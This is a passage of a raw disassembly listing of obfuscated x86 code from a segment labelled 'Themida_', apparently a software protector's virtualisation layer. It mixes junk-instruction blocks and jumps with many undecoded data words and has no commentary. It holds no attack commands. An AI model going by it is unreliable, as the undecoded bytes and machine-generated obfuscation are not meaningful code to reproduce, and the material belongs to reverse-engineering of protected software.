--------------------------------------------------------------------------- db 57h dd 6A49F3BFh, 5E6FE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BE36: ; CODE XREF: Themida_:005671B3j add al, 47h jmp loc_565728 ; --------------------------------------------------------------------------- loc_55BE3D: ; CODE XREF: Themida_:0055AC90j pop ebx sub ch, 0D6h sub ch, 0BDh add dl, 0B5h add dl, ch sub dl, 0B5h pop ecx sub ch, dl pop edx add ch, dh add ch, 99h mov edx, [esp] add esp, 4 xor al, ch pop ecx push edx jmp loc_5575B3 ; --------------------------------------------------------------------------- db 33h dd 575C241Ch, 14403668h, 243C8B2Eh, 5004C483h, 0FFFFFFB8h dd 58C729FFh, 2CE168h, 24048900h, 3043E9h db 0 ; --------------------------------------------------------------------------- loc_55BE8D: ; CODE XREF: Themida_:00564CFBj xchg ecx, edx jmp loc_55A5E0 ; --------------------------------------------------------------------------- loc_55BE94: ; CODE XREF: Themida_:0055DCC1j add ebp, 4 jmp loc_564C96 ; --------------------------------------------------------------------------- db 5Dh dd 105h, 0FFFF0500h, 0E0D1FFFFh, 9242E9h, 24148900h, 8850BDB2h dd 58C188D0h, 0FFE422E9h, 5FF829FFh, 8324348Bh, 642D04C4h dd 2915533Fh, 3F6405D8h, 56051553h, 811CA649h, 4ECh, 24348900h dd 78B8E957h, 0E9500000h, 8FAAh ; --------------------------------------------------------------------------- loc_55BEF0: ; CODE XREF: Themida_:00567F79j push edi mov edi, 59AA1C94h jmp loc_5680D2 ; --------------------------------------------------------------------------- db 4 dd 2CC800CAh, 1D0459CAh, 1D2CD828h, 63E46866h, 240C8966h dd 7D0479B5h, 7D2CE828h, 240C8B66h, 4E82E9h db 0 ; --------------------------------------------------------------------------- loc_55BF21: ; CODE XREF: Themida_:00562EAFj sub ebx, eax add ebx, 3474356Fh jmp loc_568837 ; --------------------------------------------------------------------------- aB0 db 'ÁÜ0',0 aS0_0 db '()Êé¾0',0 dw 5200h dd 84450BBAh, 0CA814A59h, 3C09581Dh, 1AE9DAF7h, 53FFFF94h dd 0FFF27AE9h, 240489FFh, 0E952EBB0h, 7EF1h, 0FE56F380h dd 7EBC0CBh, 0FF7FE9E9h, 0E9DFF7FFh, 0FFFF96A4h ; --------------------------------------------------------------------------- loc_55BF74: ; CODE XREF: Themida_:00564AEAj mov [esp], ebx jmp loc_55C6DF ; --------------------------------------------------------------------------- loc_55BF7C: ; CODE XREF: Themida_:00564EB0j push 4C61h jmp loc_565E37 ; --------------------------------------------------------------------------- loc_55BF86: ; CODE XREF: Themida_:00565008j mov eax, [esp] add esp, 4 jmp loc_55AEF6 ; --------------------------------------------------------------------------- db 0BEh, 0A6h, 0Bh dd 0CE81411Fh, 3A6A24F7h, 2A7FC681h, 0BF579A7Dh, 76C524Bh dd 0FFA02AE9h, 0C15CB9FFh, 0B2E9F49Ah, 530000C1h, 0E71F0CBBh dd 0D3F7433Ch, 386BE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BFC6: ; CODE XREF: Themida_:00560705j add dword ptr [esp], 4 pop ebx push esi push edx mov edx, 1B3255C4h inc edx push ebx jmp loc_5588FE ; --------------------------------------------------------------------------- db 57h, 0BFh, 4 dd 8129AC43h, 4F1B9AEFh, 5EFC15Ch, 1D0EF81h, 0F7816320h dd 0AC54B379h, 3B1CE9h, 0A6BA5200h, 5550A671h, 0F6FB23BDh dd 5DEF892Ah, 4276E9h, 91C58100h, 6816F142h, 1695h, 0BF243C89h dd 3C802D56h, 37E9FD01h, 81FFFFC5h, 4C7h, 4EF8300h, 8B243C87h dd 14892424h, 8050B224h, 0C38014C2h, 825EE98Ah, 0CA68FFFFh dd 89000016h, 45E92414h, 68000094h, 82Eh, 0B8240489h, 2 dd 6C39C281h, 0C2012201h, 3F9E68h, 241C8900h, 0FF8E52E9h dd 33F6BBFFh, 0DF012D4Fh, 81EF015Bh, 4F33F6EFh, 11EF812Dh dd 0E9575045h, 0FFFFF014h, 6FBDE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C096: ; CODE XREF: Themida_:0055A29Ej add esp, 4 add [eax], esi mov eax, [esp] jmp loc_56687E ; --------------------------------------------------------------------------- db 83h dd 0E95A04C4h, 4C19h, 4D5C281h, 0EA0130D5h, 4D5EA81h, 0EA8130D5h dd 58F4685Bh, 3690EA81h, 26E9353Eh db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C0CB: ; CODE XREF: Themida_:00559E22j push edi jmp loc_557508 ; --------------------------------------------------------------------------- loc_55C0D1: ; CODE XREF: Themida_:0055E563j push edi push eax mov eax, 6E979BBh jmp loc_554A4F ; --------------------------------------------------------------------------- db 81h, 0C6h, 4Ah dd 1C68BB9h, 0E7C15EF7h, 4A4E905h, 0F7480000h, 53C425D0h dd 2F35251Fh, 31B20DBEh, 24048BC5h, 4C481h, 0ED810000h dd 55CB74B4h, 0C581C501h, 55CB74B4h, 24448158h, 6B485A04h dd 24448163h, 2A728904h, 8191E906h, 0C3000000h, 681EC380h dd 6C87h, 0B6241489h, 80EED098h, 54576BE6h, 4BA525Fh, 1000000h dd 0EF835AD7h, 243C8704h, 8924248Bh, 3EB42404h, 5DF2E9h db 0 ; --------------------------------------------------------------------------- loc_55C15D: ; CODE XREF: Themida_:005620CBj add edi, 4 sub esp, 4 mov [esp], edx jmp loc_55AECC ; --------------------------------------------------------------------------- loc_55C171: ; CODE XREF: Themida_:0055BB7Fj mov ebp, edx pop edx add edi, ebp pop ebp xchg edi, [esp] pop esp or eax, eax jnz loc_55A972 push 1 push dword ptr [esp] pop edx push esi jmp loc_556E62 ; --------------------------------------------------------------------------- loc_55C192: ; CODE XREF: Themida_:005596ACj push esi mov esi, 49961294h neg esi push edi mov edi, 5D995894h sub edi, 92340AEh add esi, edi pop edi sub ebx, esi mov esi, [esp] jmp loc_55A6E0 ; --------------------------------------------------------------------------- aYsgo db 'Y飮',0 dd 58C10900h, 0FFAECCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C1C1: ; CODE XREF: Themida_:0055F0C3j pop esi push esi mov esi, esp jmp loc_564E48 ; --------------------------------------------------------------------------- dw 4BBEh dd 296D3957h, 24348BF0h, 4EC81h, 2C890000h, 0CAE95424h db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C1E3: ; CODE XREF: Themida_:0055FE5Aj add esp, 4 jmp loc_55452C ; --------------------------------------------------------------------------- dw 0F766h dd 0E99C241Ch, 0FFFF6EADh, 0E945D5F7h, 0C002h, 0BF57E589h dd 30536625h, 5204EFC1h, 0CAD1E9h db 0 ; --------------------------------------------------------------------------- loc_55C211: ; CODE XREF: Themida_:00568399j mov eax, ebx pop ebx add esi, eax jmp loc_565F18 ; --------------------------------------------------------------------------- db 54h dd 51240C8Bh, 0EE45E954h, 0CF81FFFFh, 0AF9682Eh, 505FBB53h dd 0E3C17558h, 24CB8107h, 815EE400h, 0AC3A8DC3h, 7358E955h dd 0C331FFFFh, 30E3E9h, 0C1D3F700h, 0F38106EBh, 72F58609h dd 575BDA89h, 6528D9BFh, 1BE2E931h, 59520000h, 0A0D1E95Ah dd 53570000h, 45DDE9h, 243C8900h, 0C781E789h, 4, 4EC81h dd 13E90000h, 81000089h, 4C5h, 0CAE95100h, 8900008Ch, 0E589242Ch dd 4C581h, 0ED810000h, 4, 31242C33h, 2C33242Ch, 8A08E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C2B6: ; CODE XREF: Themida_:00555D1Fj pop edx push ebx jmp loc_563EC6 ; --------------------------------------------------------------------------- db 0FFh, 32h, 0E9h dd 313Ch ; --------------------------------------------------------------------------- loc_55C2C4: ; CODE XREF: Themida_:00566588j push esp mov esi, [esp] add esp, 4 add esi, 4 push 759Ch mov [esp], ecx jmp loc_563F0D ; --------------------------------------------------------------------------- loc_55C2DE: ; CODE XREF: Themida_:0055FEA7j xor ebx, edx xor edx, ebx pop ebx dec edx jmp loc_554B66 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 25682434h, 89000034h, 0FE92414h, 8B00008Ch dd 8950242Ch, 405E0h, 0C0830000h, 0BA1E904h, 3C8B0000h dd 4C48124h, 57000000h, 2916ECBFh, 0ABC7817Ch, 317A6ECBh dd 0BBE95FFAh, 81000035h, 2C16E6C3h, 9DC8E966h, 295D0000h dd 6ED42DF0h, 34FF1894h, 24348B24h, 8304C483h, 66804C4h dd 0E9000068h, 0FFFFEDE1h, 0B4240489h, 0B5C4801Ch, 9437E9h db 0 ; --------------------------------------------------------------------------- loc_55C365: ; CODE XREF: Themida_:0055E6EAj mov ecx, 2402E26Eh add ecx, 2335530Ah sub ecx, edi jmp loc_55F13B ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 760EE924h, 84BAFFFFh, 29008B67h, 0AA67E9D3h dd 4050000h, 83000000h, 1EE904E8h, 0F700003Bh, 5EA81D2h dd 42183C6Dh, 4843EA81h, 0D301BE91h, 8324148Bh, 0BF5704C4h dd 4, 875FFB01h, 8B5C241Ch, 89532434h, 4C381E3h, 81000000h dd 4C3h, 241C8700h, 92BE565Ch, 291C0428h, 0E9042474h, 801Eh ; --------------------------------------------------------------------------- loc_55C3E4: ; CODE XREF: Themida_:0056578Dj sub edx, ebp pop ebp jmp loc_55CE3D ; --------------------------------------------------------------------------- loc_55C3EC: ; CODE XREF: Themida_:0056760Bj and eax, edx push dword ptr [esp] pop edx add esp, 4 or eax, eax jz loc_557EFF push dword ptr [edi+1Ch] add dword ptr [esp], 5B80DEBh mov ecx, [esp] jmp loc_5550BE ; --------------------------------------------------------------------------- dw 0BB53h dd 30084633h, 4913E381h, 9AE90748h, 89000047h, 7C015DEFh dd 70E90424h, 1000005h, 8B68E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C436: ; CODE XREF: Themida_:0055CA54j shl edi, 2 shr edi, 7 and edi, 594675C8h xor edi, 0CD73DCFh push eax mov eax, 153D20E5h jmp loc_55A7E4 ; --------------------------------------------------------------------------- db 55h dd 0FFC32FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C459: ; CODE XREF: Themida_:00568072j mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_560774 ; --------------------------------------------------------------------------- dw 4B9h dd 81000000h, 3C3F9EEEh, 41EE813Fh, 1080525h, 4223E9CEh dd 8B660000h, 54552404h, 5B54535Dh, 4C381h, 0EB830000h dd 241C8704h, 7F1CE95Ch, 468FFFFh, 5D000000h, 3690C281h dd 0C281353Eh, 58F4685Bh, 0FFFBE7E9h, 0EEE959FFh, 2D0000AEh dd 138C567Bh, 59407005h, 2E8C105h, 9E0FE940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C4DE: ; CODE XREF: Themida_:0055D2BFj mov [esp], edx jmp loc_55D1C9 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 2474FF50h, 1D28E904h, 0C6680000h, 8900003Dh, 0A3E92424h dd 5300001Bh, 0A876E9h, 24348900h, 5D46850h, 56582307h dd 490227BEh, 0D1CE8135h, 4E0A2306h, 0FC2BB53h, 0E5E94892h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C52B: ; CODE XREF: Themida_:00553837j add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp and eax, edx push dword ptr [esp] pop edx add esp, 4 or edx, eax shl edx, 1 jmp loc_554C8E ; --------------------------------------------------------------------------- loc_55C550: ; CODE XREF: Themida_:00555F10j add edi, 716308EAh xchg ebx, edi not ebx push edi push 601Fh mov [esp], ebx pop edi mov ebx, [esp] add esp, 4 push 0 sub [esp], edi jmp loc_568718 ; --------------------------------------------------------------------------- loc_55C577: ; CODE XREF: Themida_:005624A4j add esp, 4 push 6421h jmp loc_567CBF ; --------------------------------------------------------------------------- db 87h dd 248B241Ch, 0F3B0E924h, 0C781FFFFh, 54B2C5F1h, 1E9FE89h dd 0C00000A0h, 0CF8002EFh, 0E9F78074h, 0FF970EE9h, 0DAC381FFh dd 0E93E516Eh, 0A603h, 8904EC83h, 80BF243Ch, 815A3628h dd 0D451CBF7h, 0E9FD3108h, 0FFFFEEDDh ; --------------------------------------------------------------------------- loc_55C5D0: ; CODE XREF: Themida_:00567E03j add edi, 4 jmp loc_559D43 ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0C483242Ch, 24048F04h, 0FFB2C8E9h, 243431FFh dd 0FFF458E9h, 2434FFFFh db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] pop esp jmp loc_55CEA6 ; --------------------------------------------------------------------------- dw 0EB01h dd 0FFF9C0E9h, 243487FFh, 4510E9h, 5AD78900h, 1A89BD55h dd 0EF311453h, 0BC7815Dh, 81019271h, 78EBECEFh, 247C0157h dd 34FF5F04h, 24348B24h, 4C481h, 0DEE90000h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C64F: ; CODE XREF: Themida_:005600D0j push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp add esi, eax sub esi, 0BD06A3h pop eax jmp loc_567323 ; --------------------------------------------------------------------------- dw 489h dd 4EC8124h, 89000000h, 88532414h, 5BDE88CBh, 0E95AF488h dd 0B430h, 0EC22A7BDh, 0F5C58179h, 813B3872h, 0F74A0DC5h dd 75F58130h, 0E91DFA5Ch, 0A6C0h, 6D69EBBFh, 0B9EF813Ah dd 0E926A35Fh, 21C0h, 0D78DE958h, 8851FFFFh, 58E952F9h dd 660000B4h, 81240C8Bh, 4ECh, 0FBABE900h, 0DFF7FFFFh dd 3730E9h db 0 ; --------------------------------------------------------------------------- loc_55C6D1: ; CODE XREF: Themida_:00560D1Ej push edx mov edx, 2BC97350h sub eax, edx pop edx jmp loc_565FD1 ; --------------------------------------------------------------------------- loc_55C6DF: ; CODE XREF: Themida_:0055BF77j push dword ptr [esp] pop eax jmp loc_562238 ; --------------------------------------------------------------------------- dd 0EF242C81h, 0E97A8112h, 8919h, 0E9240C87h, 0FFFFF1A9h ; --------------------------------------------------------------------------- loc_55C6FC: ; CODE XREF: Themida_:00565918j add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_561197 ; --------------------------------------------------------------------------- db 81h dd 5A20AFEDh, 2434FF58h, 4EC8158h, 89000000h, 47682414h dd 8900007Bh, 0ACE92424h, 83FFFFA8h, 48F04C4h, 6C03E924h dd 14870000h, 0D069E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C746: ; CODE XREF: Themida_:00562559j pop esi add edi, eax pop eax and eax, edi mov edi, [esp] add esp, 4 shr eax, 0Ch jmp loc_5575AC ; --------------------------------------------------------------------------- dw 0C15Ah dd 0BA5205E5h, 6E450F50h, 0D7F7FA87h, 0E2C1FA87h, 5CF28105h dd 81CBB30Dh, 0B766D5EDh, 81D52925h, 0B766D5C5h, 0EF015A25h dd 5F68515Dh, 0E9062320h, 0A1B4h, 0E904C183h, 0AEFCh, 8124048Bh dd 4C4h, 0E9CE2100h, 12DCh, 147DE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C7AE: ; CODE XREF: Themida_:005587ABj inc ebp shl ebp, 4 dec ebp sub ebp, 0CA640FEBh jmp loc_56637E ; --------------------------------------------------------------------------- dw 8B66h dd 8355240Ch, 33E904ECh, 2D000055h, 0C90Ch, 2AF0E9h, 53665A00h dd 24348166h, 5A6627B5h, 0B5F28166h, 241C8B27h, 0ED6E9h dd 0A7E9AC00h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C7F3: ; CODE XREF: Themida_:005534D5j add esp, 4 sub edx, 4 jmp loc_556BE4 ; --------------------------------------------------------------------------- db 81h, 0F2h, 90h dd 316E6561h, 0ED815AD1h, 72E91CFCh, 0C581CD01h, 72E91CFCh dd 242C8759h, 421665Ch, 7EE99C24h, 83FFFF68h, 5D042404h dd 4BA52h, 0D5010000h, 4C5815Ah, 68000000h, 816h, 0FF242C89h dd 0E9042474h, 894h ; --------------------------------------------------------------------------- loc_55C84C: ; CODE XREF: Themida_:00555957j pop esp and eax, ebp pop ebp shr eax, 0Ah xor eax, ecx push 509Fh mov [esp], eax push edx push esp mov edx, [esp] jmp loc_558076 ; --------------------------------------------------------------------------- db 81h dd 800C3FC6h, 0D8EE812Eh, 17A2D0Eh, 0D8C681EEh, 0E97A2D0Eh dd 0FFFFCF44h, 0D51CED81h, 79E91EDEh, 66000042h, 5C17EB81h dd 6916E9h, 0F0C18100h, 113087Fh, 0FBB1E9E9h, 0BEB6FFFFh dd 80E0C380h, 54E9D1EBh, 0B7FFFF89h, 5BFA284Ch, 0FF7EE4E9h dd 4BE56FFh, 1000000h, 0B9515EF2h, 2, 4A52E950h, 0E0D00000h dd 5E9CE2Ch, 8BFFFFE4h, 0C483240Ch, 5DEA0104h, 31241433h dd 14332414h, 24248B24h, 0E99CC138h, 0FFFF67B1h, 0FDEB8143h dd 29B35EA4h, 241C8BDAh, 4C481h, 0E9580000h, 0FFFF77E0h dd 33243C31h, 0B2E9243Ch, 89FFFFD6h, 0DABB241Ch, 2D7A582Ah dd 6BE37372h, 0BE56D801h, 68902097h, 0EE83D6F7h, 0AFF681FFh dd 566DEB4Fh, 0FFDE21E9h, 11E958FFh db 0A4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C943: ; CODE XREF: Themida_:0055471Cj pop eax jmp loc_5581CE ; --------------------------------------------------------------------------- db 0E9h, 57h, 67h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C94E: ; CODE XREF: Themida_:00565F64j pop dword ptr [esp] pop esp sub [esp], ax pushf jmp loc_5530A5 ; --------------------------------------------------------------------------- dd 1C8B2388h, 4C48324h, 582434FFh, 0FFF736E9h, 48B66FFh dd 0A0ADE924h, 0E5280000h, 80DD2858h, 0A5E973C5h, 87000060h dd 87D6F7F5h, 53DDF7F5h, 32DEE9h, 0E6305900h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_557D18 ; --------------------------------------------------------------------------- db 5Fh dd 56240C8Bh, 0C6815E54h, 4, 4C681h, 97E90000h, 0C1FFFFA7h dd 0BB5308EAh, 5556ADA9h, 0E95BDA01h, 0FFFFE100h, 4C481h dd 34FF0000h, 0BE3CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C9D6: ; CODE XREF: Themida_:00567F22j mov esp, [esp] or edx, eax jmp loc_553B5E ; --------------------------------------------------------------------------- loc_55C9E0: ; CODE XREF: Themida_:00566EE2j shl edx, 1 sub esp, 4 mov [esp], eax mov eax, 24h push 2A37h mov [esp], ebp jmp loc_5626BC ; --------------------------------------------------------------------------- db 66h, 1, 0C5h dd 0EEC58166h, 0C5816634h, 0F0E914AFh, 31FFFF7Dh, 98ECE9F1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CA16: ; CODE XREF: Themida_:00555BF1j push 3508h mov [esp], ecx push esi mov esi, 19C30952h mov ecx, esi jmp loc_553B80 ; --------------------------------------------------------------------------- db 0F7h dd 33C781DFh, 8159172Fh, 0C90D2CC2h, 0E9FA0117h, 0FFFFE863h ; --------------------------------------------------------------------------- loc_55CA40: ; CODE XREF: Themida_:0055DD52j mov edi, 53460B5Bh push esi mov esi, 139D02A4h xor edi, esi pop esi add edi, 0E4CE42B7h jmp loc_55C436 ; --------------------------------------------------------------------------- loc_55CA59: ; CODE XREF: Themida_:00553514j push dword ptr [esp] mov ebp, [esp] jmp loc_554E4A ; --------------------------------------------------------------------------- dd offset dword_54A054+14h dd 24148900h, 0FF9D67E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CA71: ; CODE XREF: Themida_:00558A23j push dword ptr [esp] mov eax, [esp] add esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_5581C8 ; --------------------------------------------------------------------------- dd 4D6CF181h, 0CA295803h, 4A33E9h, 66F00000h, 6BAAE95Ah dd 0FF560000h, 83582434h, 348B04C4h, 4C48324h, 1C2D2905h dd 2DF80173h, 731C2D29h, 59BE3081h, 71E95DCAh db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CACB: ; CODE XREF: Themida_:00559A01j push ecx mov ecx, esp jmp loc_556C0C ; --------------------------------------------------------------------------- loc_55CAD3: ; CODE XREF: Themida_:005616F7j push 26134038h pop esi add esi, 32582E12h mov edi, esi pop esi push 6C6Dh mov [esp], edi xor [esp], eax xor eax, [esp] xor [esp], eax push eax not dword ptr [esp] jmp loc_55D418 ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 0FFFFE29Bh ; --------------------------------------------------------------------------- loc_55CB04: ; CODE XREF: Themida_:00564E43j mov edi, [esp] add esp, 4 push ebx mov ebx, 64A63D63h sub ebp, ebx jmp loc_55CB26 ; --------------------------------------------------------------------------- loc_55CB17: ; CODE XREF: Themida_:00553561j pop esp mov [esp], edx push ecx mov ecx, 4E9579D3h jmp loc_559D94 ; --------------------------------------------------------------------------- loc_55CB26: ; CODE XREF: Themida_:0055CB12j mov ebx, [esp] add esp, 4 and eax, ebp mov ebp, [esp] push eax mov eax, esp add eax, 4 jmp loc_55E831 ; --------------------------------------------------------------------------- dw 0F801h a_sN db '_é}',0 align 2 dw 0EC83h dd 7074E904h, 48BFFFFh, 4C48124h, 0E9000000h, 471Eh, 42474FFh dd 24048F5Bh, 0E189515Ch, 4BF57h, 0F9010000h, 4C1815Fh dd 51000000h, 42474FFh, 0E92434FFh, 9048h, 8904EC83h, 0C4E92434h dd 0F6000082h, 46EC80DCh, 0B078E9h, 7FDFBB00h, 5C016D84h dd 0E95B0424h, 0FFFFBDD0h, 815BDA01h, 4ECh, 241C8900h dd 0BD55E389h, 5F0C3169h, 6AA8E94Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CBC2: ; CODE XREF: Themida_:00559B10j inc edi sub edi, 0E1783BD1h mov esi, edi jmp loc_568188 ; --------------------------------------------------------------------------- loc_55CBD0: ; CODE XREF: Themida_:005572C8j mov esi, [esp] add esp, 4 add esi, 107DF199h jmp loc_5685A0 ; --------------------------------------------------------------------------- loc_55CBE1: ; CODE XREF: Themida_:0055E35Bj sub dh, 38h sub dh, 0C7h xor bh, dh pop edx jmp loc_561451 ; --------------------------------------------------------------------------- db 25h dd 31FD6F76h, 0FFC8BFE9h, 81F901FFh, 407BCCC1h, 0CE315F44h dd 592434FFh, 4C481h, 0EDE90000h, 0B7FFFFD3h, 6815E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CC1A: ; CODE XREF: Themida_:00555E7Fj sub edx, 0A29F433Eh jmp loc_563C87 ; --------------------------------------------------------------------------- db 58h, 1, 0D7h dd 0EFBB535Ah, 81056476h, 150897EFh, 9CC7816Dh, 0E9411321h dd 0FFFFADF4h, 382CDBBDh, 81DDF776h, 96063FEDh, 9EED8166h dd 0F74F985Ch, 0C6C581D5h, 81547A5Ah, 1F1587C5h, 0F7BDE97Fh dd 0BC68FFFFh, 89000067h, 0E789243Ch, 4C781h, 0EF830000h dd 74FF5704h, 8F5F0424h, 248B2404h, 24148924h, 0EAC0C8B2h dd 6EAC005h, 0C0D0EA80h, 0CAFE06EAh, 0FF70D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CC9D: ; CODE XREF: Themida_:0055F965j dec ecx inc ecx shr ecx, 4 shr ecx, 6 sub ecx, 0AC853658h sub edi, 35157394h add edi, ecx add edi, 35157394h pop ecx pop ebp jmp loc_566AD6 ; --------------------------------------------------------------------------- aIGxkssjd db '‰,$½£xKs馄',0 dd 24048B00h, 4C481h, 90E90000h, 0BBFFFFA5h, 1, 815BD929h dd 250A3FC1h, 5E1C17Ch, 0DAC2F181h, 0CD014149h, 0E9240C8Bh dd 0FFFFECE2h, 1A6268h, 24248900h, 614768h, 243C8900h dd 4EC81h, 2C890000h, 0FF26E924h, 0F781FFFFh, 2AE74698h dd 1617CF81h, 7CE938B9h, 2CFFFFC1h, 0D4BBE928h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD32: ; CODE XREF: Themida_:0056740Bj push 3C03h mov [esp], ebx push ecx jmp loc_55BE0C ; --------------------------------------------------------------------------- loc_55CD40: ; CODE XREF: Themida_:0055EFDEj mov esi, esp add esi, 4 jmp loc_5587E2 ; --------------------------------------------------------------------------- loc_55CD4D: ; CODE XREF: Themida_:00565311j mov ebp, [esp] jmp loc_5553CF ; --------------------------------------------------------------------------- db 29h, 0D5h, 8Bh dd 0C4812414h, 4, 0E9242C33h, 0FFFFBF67h, 7052C681h, 0EE813CF8h dd 5E7878F1h, 815EF529h, 1EDh, 7FC58100h, 81FB9AD5h, 0DC09B2C2h dd 6971E93Dh, 68520000h, 3E5A329Ah, 0FF85EFE9h, 3ABDB9FFh dd 0C1814A93h, 0B71501FEh, 0C8BCB01h, 4C48124h, 81000000h dd 0A53249EBh, 0EFBE564Bh, 296AF677h, 0E3685EF3h, 0E9000024h dd 0FFFF773Eh, 8904EC83h, 0E9542404h, 6254h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55EB2F ; --------------------------------------------------------------------------- loc_55CDE8: ; CODE XREF: Themida_:0055A135j add edx, eax jmp loc_5538A7 ; --------------------------------------------------------------------------- loc_55CDEF: ; CODE XREF: Themida_:005608E8j sub ebx, 7A172F51h add ebx, ebp push esi mov esi, 7A172F51h add ebx, esi mov esi, [esp] add esp, 4 pop ebp jmp loc_567006 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 52AFBB53h, 0DE014119h, 0FFC2A7E9h, 12EB81FFh dd 0E90F1E54h, 0FFFFF7E6h, 5603EDC1h, 0BA43E9h db 0 ; --------------------------------------------------------------------------- loc_55CE35: ; CODE XREF: Themida_:00562AADj add [ecx], ebx pop ecx jmp loc_553F5E ; --------------------------------------------------------------------------- loc_55CE3D: ; CODE XREF: Themida_:0055C3E7j push esi mov esi, 12C86E09h jmp loc_562984 ; --------------------------------------------------------------------------- dd 0FA3092B2h, 8BE2005Bh, 0C4812404h, 4, 3D0BE950h, 4BE0000h dd 81000000h, 0C96241EFh, 52F70127h, 0F7548EBAh, 0BFC28175h dd 81327E6Dh, 243EA3CAh, 6E2C10Eh, 597FEA81h, 0D70175B6h dd 166AE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CE8E: ; CODE XREF: Themida_:00557EBCj push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_559337 ; --------------------------------------------------------------------------- loc_55CEA6: ; CODE XREF: Themida_:0055C60Dj movsx cx, al push small 2A64h jmp loc_5569B5 ; --------------------------------------------------------------------------- db 87h dd 0D4E92404h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CEBB: ; CODE XREF: Themida_:0055322Dj push 304Ah mov [esp], ebx jmp loc_561D36 ; --------------------------------------------------------------------------- dd 83241C8Bh, 0BE5604C4h, 738B1B34h, 39F8E681h, 0EC831642h dd 240C8904h, 0BF33E6B9h, 59CE0140h, 2FE9DEF7h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CEEF: ; CODE XREF: Themida_:00566FB3j sub ebx, 20673FDAh mov eax, [esp] add esp, 4 xor eax, ebx pop ebx jmp loc_55A1A9 ; --------------------------------------------------------------------------- aZx8sa db '¸ÖZX8é¼',0 dd 39B85000h, 3516C73Eh, 11E4183h, 0A30F3548h, 0C5317EA4h dd 0FFE92958h, 815D2434h, 4C4h, 3FE95200h, 89FFFFBDh, 0A1BB53E2h dd 0F70B1A55h, 1BE94BD3h, 8B00009Fh, 0EC832424h, 240C8904h dd 0FFCDE8E9h, 241C8BFFh, 8104C483h, 5A3DCAF6h, 31E6D13Bh dd 0FAA9E9CEh, 0F001FFFFh, 0FF7DA7E9h, 241489FFh, 5FC7E9h dd 0C0E98100h, 0E92F3C6Fh, 5A7Fh, 0FF6120E9h, 5BF888FFh dd 0E958C388h, 1ADDh, 0DB689D04h, 89000078h, 0E950241Ch dd 0FFFFD46Fh, 5C24048Fh, 89243C89h, 0AEBA52E7h, 554DD744h dd 0D50A0EBDh, 8BEA216Bh, 5452242Ch, 31FAE9h, 24048100h dd 13855E5Dh, 0B0242C81h, 5577EE2Ch, 8C4839BDh, 9E02E951h dd 0D7290000h, 7F84C781h, 39E94855h, 890000ADh, 41B02404h dd 0FFFF9FE9h, 0EC8858FFh, 0D4F65966h, 68h, 242C8000h dd 2424288Ah, 8A240480h, 8324248Ah, 0EE904ECh db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D013: ; CODE XREF: Themida_:005555CEj push dword ptr [esp] pop ebp jmp loc_55AB25 ; --------------------------------------------------------------------------- dd 0D028F2B2h, 3BE1E9h, 0DA015900h, 7C5C281h, 0BE561693h dd 5D096B8Dh, 693BEE81h, 0FE9E8AFh db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D03F: ; CODE XREF: Themida_:00556D4Cj not dword ptr [esp] pop edx jmp loc_566BB3 ; --------------------------------------------------------------------------- dd 4EE81h, 34870000h, 2C895C24h, 7375BD24h, 0BF5709CBh dd 487C3457h, 835FFD09h, 0ED81FFC5h, 0DF08FF87h, 4B7DC381h dd 0AAE91ACBh, 89FFFFFDh, 4C581E5h, 81000000h, 4EDh, 242C8700h dd 241C895Ch, 0FE36E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D092: ; CODE XREF: Themida_:0056751Ej push 5588h jmp loc_560177 ; --------------------------------------------------------------------------- dd 